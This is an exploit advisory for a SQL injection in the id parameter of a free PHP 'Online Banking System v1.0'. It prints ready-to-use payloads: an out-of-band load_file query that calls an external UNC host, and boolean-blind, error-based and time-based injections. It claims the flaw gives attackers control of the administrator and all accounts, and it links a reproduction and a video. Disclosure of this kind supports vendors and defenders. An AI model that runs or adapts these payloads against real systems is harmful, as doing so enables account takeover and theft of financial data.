## Title: Online Banking System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.27.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Banking-System

## Description:
The id parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\nf6v7f8u0moiaudh9ebxwywdt4zxnqbhe55svgk.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html\\crc'))+'
was submitted in the id parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3' AND 4573=4573-- ZCvc&p=view_accouncement

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: id=3' AND (SELECT 9948 FROM(SELECT
COUNT(*),CONCAT(0x7162707a71,(SELECT
(ELT(9948=9948,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nCRY&p=view_accouncement

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=3' AND (SELECT 7546 FROM (SELECT(SLEEP(5)))WNiD)--
MTfV&p=view_accouncement
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Banking-System)

## Proof and Exploit:
[href](https://streamable.com/3gw6aw)